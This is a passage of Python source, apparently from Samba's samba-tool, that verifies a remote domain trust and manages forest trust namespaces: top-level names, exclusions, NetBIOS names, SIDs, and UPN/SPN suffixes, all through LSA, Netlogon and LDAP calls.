                remote_trust_verify = \
                    remote_netlogon.netr_LogonControl2Ex(remote_server,
                                                         netlogon.NETLOGON_CONTROL_TC_VERIFY,
                                                         2,
                                                         local_lsa_info.dns_domain.string)
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;NETLOGON_CONTROL_TC_VERIFY failed&quot;)

            remote_trust_status = self._uint32(remote_trust_verify.pdc_connection_status[0])
            remote_conn_status = self._uint32(remote_trust_verify.tc_connection_status[0])

            if remote_trust_verify.flags &amp; netlogon.NETLOGON_VERIFY_STATUS_RETURNED:
                remote_validation = &quot;RemoteValidation: DC[%s] CONNECTION[%s] TRUST[%s] VERIFY_STATUS_RETURNED&quot; % (
                                   remote_trust_verify.trusted_dc_name,
                                   remote_trust_verify.tc_connection_status[1],
                                   remote_trust_verify.pdc_connection_status[1])
            else:
                remote_validation = &quot;RemoteValidation: DC[%s] CONNECTION[%s] TRUST[%s]&quot; % (
                                   remote_trust_verify.trusted_dc_name,
                                   remote_trust_verify.tc_connection_status[1],
                                   remote_trust_verify.pdc_connection_status[1])

            if remote_trust_status != werror.WERR_SUCCESS or remote_conn_status != werror.WERR_SUCCESS:
                raise CommandError(remote_validation)
            else:
                self.outf.write(&quot;OK: %s\n&quot; % remote_validation)

            try:
                server = remote_trust_verify.trusted_dc_name.replace('\\', '')
                domain_and_server = &quot;%s\\%s&quot; % (local_lsa_info.dns_domain.string, server)
                remote_trust_rediscover = \
                    remote_netlogon.netr_LogonControl2Ex(remote_server,
                                                         netlogon.NETLOGON_CONTROL_REDISCOVER,
                                                         2,
                                                         domain_and_server)
            except RuntimeError as error:
                raise self.RemoteRuntimeError(self, error, &quot;NETLOGON_CONTROL_REDISCOVER failed&quot;)

            remote_conn_status = self._uint32(remote_trust_rediscover.tc_connection_status[0])

            remote_rediscover = &quot;RemoteRediscover: DC[%s] CONNECTION[%s]&quot; % (
                                   remote_trust_rediscover.trusted_dc_name,
                                   remote_trust_rediscover.tc_connection_status[1])

            if remote_conn_status != werror.WERR_SUCCESS:
                raise CommandError(remote_rediscover)
            else:
                self.outf.write(&quot;OK: %s\n&quot; % remote_rediscover)

        return


class cmd_domain_trust_namespaces(DomainTrustCommand):
    &quot;&quot;&quot;Manage forest trust namespaces.&quot;&quot;&quot;

    synopsis = &quot;%prog [DOMAIN] [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;versionopts&quot;: options.VersionOptions,
        &quot;localdcopts&quot;: LocalDCCredentialsOptions,
    }

    takes_options = [
        Option(&quot;--refresh&quot;, type=&quot;choice&quot;, metavar=&quot;check|store&quot;,
               choices=[&quot;check&quot;, &quot;store&quot;, None],
               help=&quot;List and maybe store refreshed forest trust information: 'check' or 'store'.&quot;,
               dest='refresh',
               default=None),
        Option(&quot;--enable-all&quot;, action=&quot;store_true&quot;,
               help=&quot;Try to update disabled entries, not allowed with --refresh=check.&quot;,
               dest='enable_all',
               default=False),
        Option(&quot;--enable-tln&quot;, action=&quot;append&quot;, metavar='DNSDOMAIN',
               help=&quot;Enable a top level name entry. Can be specified multiple times.&quot;,
               dest='enable_tln',
               default=[]),
        Option(&quot;--disable-tln&quot;, action=&quot;append&quot;, metavar='DNSDOMAIN',
               help=&quot;Disable a top level name entry. Can be specified multiple times.&quot;,
               dest='disable_tln',
               default=[]),
        Option(&quot;--add-tln-ex&quot;, action=&quot;append&quot;, metavar='DNSDOMAIN',
               help=&quot;Add a top level exclusion entry. Can be specified multiple times.&quot;,
               dest='add_tln_ex',
               default=[]),
        Option(&quot;--delete-tln-ex&quot;, action=&quot;append&quot;, metavar='DNSDOMAIN',
               help=&quot;Delete a top level exclusion entry. Can be specified multiple times.&quot;,
               dest='delete_tln_ex',
               default=[]),
        Option(&quot;--enable-nb&quot;, action=&quot;append&quot;, metavar='NETBIOSDOMAIN',
               help=&quot;Enable a netbios name in a domain entry. Can be specified multiple times.&quot;,
               dest='enable_nb',
               default=[]),
        Option(&quot;--disable-nb&quot;, action=&quot;append&quot;, metavar='NETBIOSDOMAIN',
               help=&quot;Disable a netbios name in a domain entry. Can be specified multiple times.&quot;,
               dest='disable_nb',
               default=[]),
        Option(&quot;--enable-sid&quot;, action=&quot;append&quot;, metavar='DOMAINSID',
               help=&quot;Enable a SID in a domain entry. Can be specified multiple times.&quot;,
               dest='enable_sid_str',
               default=[]),
        Option(&quot;--disable-sid&quot;, action=&quot;append&quot;, metavar='DOMAINSID',
               help=&quot;Disable a SID in a domain entry. Can be specified multiple times.&quot;,
               dest='disable_sid_str',
               default=[]),
        Option(&quot;--add-upn-suffix&quot;, action=&quot;append&quot;, metavar='DNSDOMAIN',
               help=&quot;Add a new uPNSuffixes attribute for the local forest. Can be specified multiple times.&quot;,
               dest='add_upn',
               default=[]),
        Option(&quot;--delete-upn-suffix&quot;, action=&quot;append&quot;, metavar='DNSDOMAIN',
               help=&quot;Delete an existing uPNSuffixes attribute of the local forest. Can be specified multiple times.&quot;,
               dest='delete_upn',
               default=[]),
        Option(&quot;--add-spn-suffix&quot;, action=&quot;append&quot;, metavar='DNSDOMAIN',
               help=&quot;Add a new msDS-SPNSuffixes attribute for the local forest. Can be specified multiple times.&quot;,
               dest='add_spn',
               default=[]),
        Option(&quot;--delete-spn-suffix&quot;, action=&quot;append&quot;, metavar='DNSDOMAIN',
               help=&quot;Delete an existing msDS-SPNSuffixes attribute of the local forest. Can be specified multiple times.&quot;,
               dest='delete_spn',
               default=[]),
    ]

    takes_args = [&quot;domain?&quot;]

    def run(self, domain=None, sambaopts=None, localdcopts=None, versionopts=None,
            refresh=None, enable_all=False,
            enable_tln=None, disable_tln=None, add_tln_ex=None, delete_tln_ex=None,
            enable_sid_str=None, disable_sid_str=None, enable_nb=None, disable_nb=None,
            add_upn=None, delete_upn=None, add_spn=None, delete_spn=None):

        if enable_tln is None:
            enable_tln = []
        if disable_tln is None:
            disable_tln = []
        if add_tln_ex is None:
            add_tln_ex = []
        if delete_tln_ex is None:
            delete_tln_ex = []
        if enable_sid_str is None:
            enable_sid_str = []
        if disable_sid_str is None:
            disable_sid_str = []
        if enable_nb is None:
            enable_nb = []
        if disable_nb is None:
            disable_nb = []
        if add_upn is None:
            add_upn = []
        if delete_upn is None:
            delete_upn = []
        if add_spn is None:
            add_spn = []
        if delete_spn is None:
            delete_spn = []

        require_update = False

        if domain is None:
            if refresh == &quot;store&quot;:
                raise CommandError(&quot;--refresh=%s not allowed without DOMAIN&quot; % refresh)

            if enable_all:
                raise CommandError(&quot;--enable-all not allowed without DOMAIN&quot;)

            if len(enable_tln) &gt; 0:
                raise CommandError(&quot;--enable-tln not allowed without DOMAIN&quot;)
            if len(disable_tln) &gt; 0:
                raise CommandError(&quot;--disable-tln not allowed without DOMAIN&quot;)

            if len(add_tln_ex) &gt; 0:
                raise CommandError(&quot;--add-tln-ex not allowed without DOMAIN&quot;)
            if len(delete_tln_ex) &gt; 0:
                raise CommandError(&quot;--delete-tln-ex not allowed without DOMAIN&quot;)

            if len(enable_nb) &gt; 0:
                raise CommandError(&quot;--enable-nb not allowed without DOMAIN&quot;)
            if len(disable_nb) &gt; 0:
                raise CommandError(&quot;--disable-nb not allowed without DOMAIN&quot;)

            if len(enable_sid_str) &gt; 0:
                raise CommandError(&quot;--enable-sid not allowed without DOMAIN&quot;)
            if len(disable_sid_str) &gt; 0:
                raise CommandError(&quot;--disable-sid not allowed without DOMAIN&quot;)

            if len(add_upn) &gt; 0:
                for n in add_upn:
                    if not n.startswith(&quot;*.&quot;):
                        continue
                    raise CommandError(&quot;value[%s] specified for --add-upn-suffix should not include with '*.'&quot; % n)
                require_update = True
            if len(delete_upn) &gt; 0:
                for n in delete_upn:
                    if not n.startswith(&quot;*.&quot;):
                        continue
                    raise CommandError(&quot;value[%s] specified for --delete-upn-suffix should not include with '*.'&quot; % n)
                require_update = True
            for a in add_upn:
                for d in delete_upn:
                    if a.lower() != d.lower():
                        continue
                    raise CommandError(&quot;value[%s] specified for --add-upn-suffix and --delete-upn-suffix&quot; % a)

            if len(add_spn) &gt; 0:
                for n in add_spn:
                    if not n.startswith(&quot;*.&quot;):
                        continue
                    raise CommandError(&quot;value[%s] specified for --add-spn-suffix should not include with '*.'&quot; % n)
                require_update = True
            if len(delete_spn) &gt; 0:
                for n in delete_spn:
                    if not n.startswith(&quot;*.&quot;):
                        continue
                    raise CommandError(&quot;value[%s] specified for --delete-spn-suffix should not include with '*.'&quot; % n)
                require_update = True
            for a in add_spn:
                for d in delete_spn:
                    if a.lower() != d.lower():
                        continue
                    raise CommandError(&quot;value[%s] specified for --add-spn-suffix and --delete-spn-suffix&quot; % a)
        else:
            if len(add_upn) &gt; 0:
                raise CommandError(&quot;--add-upn-suffix not allowed together with DOMAIN&quot;)
            if len(delete_upn) &gt; 0:
                raise CommandError(&quot;--delete-upn-suffix not allowed together with DOMAIN&quot;)
            if len(add_spn) &gt; 0:
                raise CommandError(&quot;--add-spn-suffix not allowed together with DOMAIN&quot;)
            if len(delete_spn) &gt; 0:
                raise CommandError(&quot;--delete-spn-suffix not allowed together with DOMAIN&quot;)

        if refresh is not None:
            if refresh == &quot;store&quot;:
                require_update = True

            if enable_all and refresh != &quot;store&quot;:
                raise CommandError(&quot;--enable-all not allowed together with --refresh=%s&quot; % refresh)

            if len(enable_tln) &gt; 0:
                raise CommandError(&quot;--enable-tln not allowed together with --refresh&quot;)
            if len(disable_tln) &gt; 0:
                raise CommandError(&quot;--disable-tln not allowed together with --refresh&quot;)

            if len(add_tln_ex) &gt; 0:
                raise CommandError(&quot;--add-tln-ex not allowed together with --refresh&quot;)
            if len(delete_tln_ex) &gt; 0:
                raise CommandError(&quot;--delete-tln-ex not allowed together with --refresh&quot;)

            if len(enable_nb) &gt; 0:
                raise CommandError(&quot;--enable-nb not allowed together with --refresh&quot;)
            if len(disable_nb) &gt; 0:
                raise CommandError(&quot;--disable-nb not allowed together with --refresh&quot;)

            if len(enable_sid_str) &gt; 0:
                raise CommandError(&quot;--enable-sid not allowed together with --refresh&quot;)
            if len(disable_sid_str) &gt; 0:
                raise CommandError(&quot;--disable-sid not allowed together with --refresh&quot;)
        else:
            if enable_all:
                require_update = True

                if len(enable_tln) &gt; 0:
                    raise CommandError(&quot;--enable-tln not allowed together with --enable-all&quot;)

                if len(enable_nb) &gt; 0:
                    raise CommandError(&quot;--enable-nb not allowed together with --enable-all&quot;)

                if len(enable_sid_str) &gt; 0:
                    raise CommandError(&quot;--enable-sid not allowed together with --enable-all&quot;)

            if len(enable_tln) &gt; 0:
                require_update = True
            if len(disable_tln) &gt; 0:
                require_update = True
            for e in enable_tln:
                for d in disable_tln:
                    if e.lower() != d.lower():
                        continue
                    raise CommandError(&quot;value[%s] specified for --enable-tln and --disable-tln&quot; % e)

            if len(add_tln_ex) &gt; 0:
                for n in add_tln_ex:
                    if not n.startswith(&quot;*.&quot;):
                        continue
                    raise CommandError(&quot;value[%s] specified for --add-tln-ex should not include with '*.'&quot; % n)
                require_update = True
            if len(delete_tln_ex) &gt; 0:
                for n in delete_tln_ex:
                    if not n.startswith(&quot;*.&quot;):
                        continue
                    raise CommandError(&quot;value[%s] specified for --delete-tln-ex should not include with '*.'&quot; % n)
                require_update = True
            for a in add_tln_ex:
                for d in delete_tln_ex:
                    if a.lower() != d.lower():
                        continue
                    raise CommandError(&quot;value[%s] specified for --add-tln-ex and --delete-tln-ex&quot; % a)

            if len(enable_nb) &gt; 0:
                require_update = True
            if len(disable_nb) &gt; 0:
                require_update = True
            for e in enable_nb:
                for d in disable_nb:
                    if e.upper() != d.upper():
                        continue
                    raise CommandError(&quot;value[%s] specified for --enable-nb and --disable-nb&quot; % e)

            enable_sid = []
            for s in enable_sid_str:
                try:
                    sid = security.dom_sid(s)
                except (ValueError, TypeError):
                    raise CommandError(&quot;value[%s] specified for --enable-sid is not a valid SID&quot; % s)
                enable_sid.append(sid)
            disable_sid = []
            for s in disable_sid_str:
                try:
                    sid = security.dom_sid(s)
                except (ValueError, TypeError):
                    raise CommandError(&quot;value[%s] specified for --disable-sid is not a valid SID&quot; % s)
                disable_sid.append(sid)
            if len(enable_sid) &gt; 0:
                require_update = True
            if len(disable_sid) &gt; 0:
                require_update = True
            for e in enable_sid:
                for d in disable_sid:
                    if e != d:
                        continue
                    raise CommandError(&quot;value[%s] specified for --enable-sid and --disable-sid&quot; % e)

        local_policy_access = lsa.LSA_POLICY_VIEW_LOCAL_INFORMATION
        if require_update:
            local_policy_access |= lsa.LSA_POLICY_TRUST_ADMIN

        local_server = self.setup_local_server(sambaopts, localdcopts)
        try:
            local_lsa = self.new_local_lsa_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect lsa server&quot;)

        try:
            (local_policy, local_lsa_info) = self.get_lsa_info(local_lsa, local_policy_access)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to query LSA_POLICY_INFO_DNS&quot;)

        self.outf.write(&quot;LocalDomain Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        local_lsa_info.name.string,
                        local_lsa_info.dns_domain.string,
                        local_lsa_info.sid))

        if domain is None:
            try:
                local_netlogon = self.new_local_netlogon_connection()
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;failed to connect netlogon server&quot;)

            try:
                local_netlogon_info = self.get_netlogon_dc_info(local_netlogon, local_server)
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;failed to get netlogon dc info&quot;)

            if local_netlogon_info.domain_name != local_netlogon_info.forest_name:
                raise CommandError(&quot;The local domain [%s] is not the forest root [%s]&quot; % (
                                   local_netlogon_info.domain_name,
                                   local_netlogon_info.forest_name))

            try:
                # get all information about our own forest
                own_forest_info = local_netlogon.netr_DsRGetForestTrustInformation(local_netlogon_info.dc_unc,
                                                                                   None, 0)
            except RuntimeError as error:
                if self.check_runtime_error(error, werror.WERR_RPC_S_PROCNUM_OUT_OF_RANGE):
                    raise CommandError(&quot;LOCAL_DC[%s]: netr_DsRGetForestTrustInformation() not supported.&quot; % (
                                       local_server))

                if self.check_runtime_error(error, werror.WERR_INVALID_FUNCTION):
                    raise CommandError(&quot;LOCAL_DC[%s]: netr_DsRGetForestTrustInformation() not supported.&quot; % (
                                       local_server))

                if self.check_runtime_error(error, werror.WERR_NERR_ACFNOTLOADED):
                    raise CommandError(&quot;LOCAL_DC[%s]: netr_DsRGetForestTrustInformation() not supported.&quot; % (
                                       local_server))

                raise self.LocalRuntimeError(self, error, &quot;netr_DsRGetForestTrustInformation() failed&quot;)

            self.outf.write(&quot;Own forest trust information...\n&quot;)
            self.write_forest_trust_info(own_forest_info,
                                         tln=local_lsa_info.dns_domain.string)

            try:
                local_samdb = self.new_local_ldap_connection()
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;failed to connect to SamDB&quot;)

            local_partitions_dn = &quot;CN=Partitions,%s&quot; % str(local_samdb.get_config_basedn())
            attrs = ['uPNSuffixes', 'msDS-SPNSuffixes']
            try:
                msgs = local_samdb.search(base=local_partitions_dn,
                                          scope=ldb.SCOPE_BASE,
                                          expression=&quot;(objectClass=crossRefContainer)&quot;,
                                          attrs=attrs)
                stored_msg = msgs[0]
            except ldb.LdbError as error:
                raise self.LocalLdbError(self, error, &quot;failed to search partition dn&quot;)

            stored_upn_vals = []
            if 'uPNSuffixes' in stored_msg:
                stored_upn_vals.extend(stored_msg['uPNSuffixes'])

            stored_spn_vals = []
            if 'msDS-SPNSuffixes' in stored_msg:
                stored_spn_vals.extend(stored_msg['msDS-SPNSuffixes'])

            self.outf.write(&quot;Stored uPNSuffixes attributes[%d]:\n&quot; % len(stored_upn_vals))
            for v in stored_upn_vals:
                self.outf.write(&quot;TLN: %-32s DNS[*.%s]\n&quot; % (&quot;&quot;, v))
            self.outf.write(&quot;Stored msDS-SPNSuffixes attributes[%d]:\n&quot; % len(stored_spn_vals))
            for v in stored_spn_vals:
                self.outf.write(&quot;TLN: %-32s DNS[*.%s]\n&quot; % (&quot;&quot;, v))

            if not require_update:
                return

            replace_upn = False
            update_upn_vals = []
            update_upn_vals.extend(stored_upn_vals)

            replace_spn = False
            update_spn_vals = []
            update_spn_vals.extend(stored_spn_vals)

            for upn in add_upn:
                for v in update_upn_vals:
                    if str(v).lower() == upn.lower():
                        raise CommandError(&quot;Entry already present for &quot;
                                           &quot;value[%s] specified for &quot;
                                           &quot;--add-upn-suffix&quot; % upn)
                update_upn_vals.append(upn)
                replace_upn = True

            for upn in delete_upn:
                idx = None
                for i, v in enumerate(update_upn_vals):
                    if str(v).lower() != upn.lower():
                        continue
                    idx = i
                    break
                if idx is None:
                    raise CommandError(&quot;Entry not found for value[%s] specified for --delete-upn-suffix&quot; % upn)

                update_upn_vals.pop(idx)
                replace_upn = True

            for spn in add_spn:
                for v in update_spn_vals:
                    if str(v).lower() == spn.lower():
                        raise CommandError(&quot;Entry already present for &quot;
                                           &quot;value[%s] specified for &quot;
                                           &quot;--add-spn-suffix&quot; % spn)
                update_spn_vals.append(spn)
                replace_spn = True

            for spn in delete_spn:
                idx = None
                for i, v in enumerate(update_spn_vals):
                    if str(v).lower() != spn.lower():
                        continue
                    idx = i
                    break
                if idx is None:
                    raise CommandError(&quot;Entry not found for value[%s] specified for --delete-spn-suffix&quot; % spn)

                update_spn_vals.pop(idx)
                replace_spn = True

            self.outf.write(&quot;Update uPNSuffixes attributes[%d]:\n&quot; % len(update_upn_vals))
            for v in update_upn_vals:
                self.outf.write(&quot;TLN: %-32s DNS[*.%s]\n&quot; % (&quot;&quot;, v))
            self.outf.write(&quot;Update msDS-SPNSuffixes attributes[%d]:\n&quot; % len(update_spn_vals))
            for v in update_spn_vals:
                self.outf.write(&quot;TLN: %-32s DNS[*.%s]\n&quot; % (&quot;&quot;, v))

            update_msg = ldb.Message()
            update_msg.dn = stored_msg.dn

            if replace_upn:
                update_msg['uPNSuffixes'] = ldb.MessageElement(update_upn_vals,
                                                               ldb.FLAG_MOD_REPLACE,
                                                               'uPNSuffixes')
            if replace_spn:
                update_msg['msDS-SPNSuffixes'] = ldb.MessageElement(update_spn_vals,
                                                                    ldb.FLAG_MOD_REPLACE,
                                                                    'msDS-SPNSuffixes')
            try:
                local_samdb.modify(update_msg)
            except ldb.LdbError as error:
                raise self.LocalLdbError(self, error, &quot;failed to update partition dn&quot;)

            try:
                stored_forest_info = local_netlogon.netr_DsRGetForestTrustInformation(local_netlogon_info.dc_unc,
                                                                                      None, 0)
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;netr_DsRGetForestTrustInformation() failed&quot;)

            self.outf.write(&quot;Stored forest trust information...\n&quot;)
            self.write_forest_trust_info(stored_forest_info,
                                         tln=local_lsa_info.dns_domain.string)
            return

        try:
            lsaString = lsa.String()
            lsaString.string = domain
            local_tdo_info = \
                local_lsa.QueryTrustedDomainInfoByName(local_policy,
                                                       lsaString,
                                                       lsa.LSA_TRUSTED_DOMAIN_INFO_INFO_EX)
        except NTSTATUSError as error:
            if self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                raise CommandError(&quot;trusted domain object does not exist for domain [%s]&quot; % domain)

            raise self.LocalRuntimeError(self, error, &quot;QueryTrustedDomainInfoByName(INFO_EX) failed&quot;)

        self.outf.write(&quot;LocalTDO Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        local_tdo_info.netbios_name.string,
                        local_tdo_info.domain_name.string,
                        local_tdo_info.sid))

        if not local_tdo_info.trust_attributes &amp; lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE:
            raise CommandError(&quot;trusted domain object for domain [%s] is not marked as FOREST_TRANSITIVE.&quot; % domain)

        if refresh is not None:
            try:
                local_netlogon = self.new_local_netlogon_connection()
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;failed to connect netlogon server&quot;)

            try:
                local_netlogon_info = self.get_netlogon_dc_info(local_netlogon, local_server)
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;failed to get netlogon dc info&quot;)

            lsa_update_check = 1
            if refresh == &quot;store&quot;:
                netlogon_update_tdo = netlogon.DS_GFTI_UPDATE_TDO
                if enable_all:
                    lsa_update_check = 0
            else:
                netlogon_update_tdo = 0

            try:
                # get all information about the remote trust
                # this triggers netr_GetForestTrustInformation to the remote domain
                # and lsaRSetForestTrustInformation() locally, but new top level
                # names are disabled by default.
                fresh_forest_info = \
                    local_netlogon.netr_DsRGetForestTrustInformation(local_netlogon_info.dc_unc,
                                                                     local_tdo_info.domain_name.string,
                                                                     netlogon_update_tdo)
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;netr_DsRGetForestTrustInformation() failed&quot;)

            try:
                fresh_forest_collision = \
                    local_lsa.lsaRSetForestTrustInformation(local_policy,
                                                            local_tdo_info.domain_name,
                                                            lsa.LSA_FOREST_TRUST_DOMAIN_INFO,
                                                            fresh_forest_info,
                                                            lsa_update_check)
            except RuntimeError as error:
                raise self.LocalRuntimeError(self, error, &quot;lsaRSetForestTrustInformation() failed&quot;)

            self.outf.write(&quot;Fresh forest trust information...\n&quot;)
            self.write_forest_trust_info(fresh_forest_info,
                                         tln=local_tdo_info.domain_name.string,
                                         collisions=fresh_forest_collision)

            if refresh == &quot;store&quot;:
                try:
                    lsaString = lsa.String()
                    lsaString.string = local_tdo_info.domain_name.string
                    stored_forest_info = \
                        local_lsa.lsaRQueryForestTrustInformation(local_policy,
                                                                  lsaString,
                                                                  lsa.LSA_FOREST_TRUST_DOMAIN_INFO)
                except RuntimeError as error:
                    raise self.LocalRuntimeError(self, error, &quot;lsaRQueryForestTrustInformation() failed&quot;)

                self.outf.write(&quot;Stored forest trust information...\n&quot;)
                self.write_forest_trust_info(stored_forest_info,
                                             tln=local_tdo_info.domain_name.string)

            return

        #
        # The none --refresh path
        #

        try:
            lsaString = lsa.String()
            lsaString.string = local_tdo_info.domain_name.string
            local_forest_info = \
                local_lsa.lsaRQueryForestTrustInformation(local_policy,
                                                          lsaString,
                                                          lsa.LSA_FOREST_TRUST_DOMAIN_INFO)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;lsaRQueryForestTrustInformation() failed&quot;)

        self.outf.write(&quot;Local forest trust information...\n&quot;)
        self.write_forest_trust_info(local_forest_info,
                                     tln=local_tdo_info.domain_name.string)

        if not require_update:
            return

        entries = []
        entries.extend(local_forest_info.entries)
        update_forest_info = lsa.ForestTrustInformation()
        update_forest_info.count = len(entries)
        update_forest_info.entries = entries

        if enable_all:
            for r in update_forest_info.entries:
                if r.type != lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME:
                    continue
                if r.flags == 0:
                    continue
                r.time = 0
                r.flags &amp;= ~lsa.LSA_TLN_DISABLED_MASK
            for r in update_forest_info.entries:
                if r.type != lsa.LSA_FOREST_TRUST_DOMAIN_INFO:
                    continue
                if r.flags == 0:
                    continue
                r.time = 0
                r.flags &amp;= ~lsa.LSA_NB_DISABLED_MASK
                r.flags &amp;= ~lsa.LSA_SID_DISABLED_MASK

        for tln in enable_tln:
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME:
                    continue
                if r.forest_trust_data.string.lower() != tln.lower():
                    continue
                idx = i
                break
            if idx is None:
                raise CommandError(&quot;Entry not found for value[%s] specified for --enable-tln&quot; % tln)
            if not update_forest_info.entries[idx].flags &amp; lsa.LSA_TLN_DISABLED_MASK:
                raise CommandError(&quot;Entry found for value[%s] specified for --enable-tln is already enabled&quot; % tln)
            update_forest_info.entries[idx].time = 0
            update_forest_info.entries[idx].flags &amp;= ~lsa.LSA_TLN_DISABLED_MASK

        for tln in disable_tln:
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME:
                    continue
                if r.forest_trust_data.string.lower() != tln.lower():
                    continue
                idx = i
                break
            if idx is None:
                raise CommandError(&quot;Entry not found for value[%s] specified for --disable-tln&quot; % tln)
            if update_forest_info.entries[idx].flags &amp; lsa.LSA_TLN_DISABLED_ADMIN:
                raise CommandError(&quot;Entry found for value[%s] specified for --disable-tln is already disabled&quot; % tln)
            update_forest_info.entries[idx].time = 0
            update_forest_info.entries[idx].flags &amp;= ~lsa.LSA_TLN_DISABLED_MASK
            update_forest_info.entries[idx].flags |= lsa.LSA_TLN_DISABLED_ADMIN

        for tln_ex in add_tln_ex:
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME_EX:
                    continue
                if r.forest_trust_data.string.lower() != tln_ex.lower():
                    continue
                idx = i
                break
            if idx is not None:
                raise CommandError(&quot;Entry already present for value[%s] specified for --add-tln-ex&quot; % tln_ex)

            tln_dot = &quot;.%s&quot; % tln_ex.lower()
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME:
                    continue
                r_dot = &quot;.%s&quot; % r.forest_trust_data.string.lower()
                if tln_dot == r_dot:
                    raise CommandError(&quot;TLN entry present for value[%s] specified for --add-tln-ex&quot; % tln_ex)
                if not tln_dot.endswith(r_dot):
                    continue
                idx = i
                break

            if idx is None:
                raise CommandError(&quot;No TLN parent present for value[%s] specified for --add-tln-ex&quot; % tln_ex)

            r = lsa.ForestTrustRecord()
            r.type = lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME_EX
            r.flags = 0
            r.time = 0
            r.forest_trust_data.string = tln_ex

            entries = []
            entries.extend(update_forest_info.entries)
            entries.insert(idx + 1, r)
            update_forest_info.count = len(entries)
            update_forest_info.entries = entries

        for tln_ex in delete_tln_ex:
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME_EX:
                    continue
                if r.forest_trust_data.string.lower() != tln_ex.lower():
                    continue
                idx = i
                break
            if idx is None:
                raise CommandError(&quot;Entry not found for value[%s] specified for --delete-tln-ex&quot; % tln_ex)

            entries = []
            entries.extend(update_forest_info.entries)
            entries.pop(idx)
            update_forest_info.count = len(entries)
            update_forest_info.entries = entries

        for nb in enable_nb:
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_DOMAIN_INFO:
                    continue
                if r.forest_trust_data.netbios_domain_name.string.upper() != nb.upper():
                    continue
                idx = i
                break
            if idx is None:
                raise CommandError(&quot;Entry not found for value[%s] specified for --enable-nb&quot; % nb)
            if not update_forest_info.entries[idx].flags &amp; lsa.LSA_NB_DISABLED_MASK:
                raise CommandError(&quot;Entry found for value[%s] specified for --enable-nb is already enabled&quot; % nb)
            update_forest_info.entries[idx].time = 0
            update_forest_info.entries[idx].flags &amp;= ~lsa.LSA_NB_DISABLED_MASK

        for nb in disable_nb:
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_DOMAIN_INFO:
                    continue
                if r.forest_trust_data.netbios_domain_name.string.upper() != nb.upper():
                    continue
                idx = i
                break
            if idx is None:
                raise CommandError(&quot;Entry not found for value[%s] specified for --delete-nb&quot; % nb)
            if update_forest_info.entries[idx].flags &amp; lsa.LSA_NB_DISABLED_ADMIN:
                raise CommandError(&quot;Entry found for value[%s] specified for --disable-nb is already disabled&quot; % nb)
            update_forest_info.entries[idx].time = 0
            update_forest_info.entries[idx].flags &amp;= ~lsa.LSA_NB_DISABLED_MASK
            update_forest_info.entries[idx].flags |= lsa.LSA_NB_DISABLED_ADMIN

        for sid in enable_sid:
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_DOMAIN_INFO:
                    continue
                if r.forest_trust_data.domain_sid != sid:
                    continue
                idx = i
                break
            if idx is None:
                raise CommandError(&quot;Entry not found for value[%s] specified for --enable-sid&quot; % sid)
            if not update_forest_info.entries[idx].flags &amp; lsa.LSA_SID_DISABLED_MASK:
                raise CommandError(&quot;Entry found for value[%s] specified for --enable-sid is already enabled&quot; % nb)
            update_forest_info.entries[idx].time = 0
            update_forest_info.entries[idx].flags &amp;= ~lsa.LSA_SID_DISABLED_MASK

        for sid in disable_sid:
            idx = None
            for i, r in enumerate(update_forest_info.entries):
                if r.type != lsa.LSA_FOREST_TRUST_DOMAIN_INFO:
                    continue
                if r.forest_trust_data.domain_sid != sid:
                    continue
                idx = i
                break
            if idx is None:
                raise CommandError(&quot;Entry not found for value[%s] specified for --delete-sid&quot; % sid)
            if update_forest_info.entries[idx].flags &amp; lsa.LSA_SID_DISABLED_ADMIN:
                raise CommandError(&quot;Entry found for value[%s] specified for --disable-sid is already disabled&quot; % nb)
            update_forest_info.entries[idx].time = 0
            update_forest_info.entries[idx].flags &amp;= ~lsa.LSA_SID_DISABLED_MASK
            update_forest_info.entries[idx].flags |= lsa.LSA_SID_DISABLED_ADMIN

        try:
            update_forest_collision = local_lsa.lsaRSetForestTrustInformation(local_policy,
                                                                              local_tdo_info.domain_name,
                                                                              lsa.LSA_FOREST_TRUST_DOMAIN_INFO,
                                                                              update_forest_info, 0)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;lsaRSetForestTrustInformation() failed&quot;)

        self.outf.write(&quot;Updated forest trust information...\n&quot;)
        self.write_forest_trust_info(update_forest_info,
                                     tln=local_tdo_info.domain_name.string,
                                     collisions=update_forest_collision)

        try:
            lsaString = lsa.String()
            lsaString.string = local_tdo_info.domain_name.string
            stored_forest_info = local_lsa.lsaRQueryForestTrustInformation(local_policy,
                                                                           lsaString,
                                                                           lsa.LSA_FOREST_TRUST_DOMAIN_INFO)
